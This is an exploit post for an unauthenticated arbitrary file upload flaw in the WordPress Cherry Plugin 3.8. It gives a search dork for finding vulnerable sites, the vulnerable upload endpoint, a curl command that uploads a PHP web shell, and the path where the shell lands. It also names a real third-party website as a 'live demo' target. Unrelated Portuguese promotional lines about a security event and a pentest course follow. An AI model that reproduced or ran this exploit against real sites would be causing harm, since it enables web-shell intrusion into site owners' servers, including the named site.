🇦🇱 WordPress Cherry Plugin - Arbitrary File Upload Vulnerability 🇦🇱

######################
# Exploit Title : WordPress Vulnerability in Cherry Plugin - Arbitrary File Upload
# Exploit Author : AnonJoker
# Dork : inurl:/wp-content/plugins/cherry_plugin/
# link : https://github.com/CherryFramework/cherry-plugin
# version 3.8
# tutorial video : https://www.youtube.com/watch?v=zSva2UPwKvo
# Tested on: [ Kali linux ]
# Fb: Azouz Stone
# Date: 09/09/2016
######################
# Denoscription :
The vuln allow an attacker to upload all types of files without administrator login.
######################
# [+] POC & Exploit:
######################
POC : site.com/wp-content/plugins/cherry-plugin/admin/import-export/upload.php
Exploiting :

curl -i -F name=file -F file=@shell.php site.com/wp-content/plugins/cherry-plugin/admin/import-export/upload.php

######################
# [+] Live Demo:
######################
http://www.aircoheat.nl/
######################
# [+] File Path :
######################
site.com/wp-content/plugins/cherry-plugin/admin/import-export/shell.php
=====================================================

Evento da RoadSec Etapa Curitiba! 🇦🇱

Luiz Fernando Neckel do RATF++ é o campeão do Hackaflag Curitiba 🎉

#advanced #pentest #curso

Esecurity - Advanced Penetration Testing

Completo!
Pt-br

@pr1v8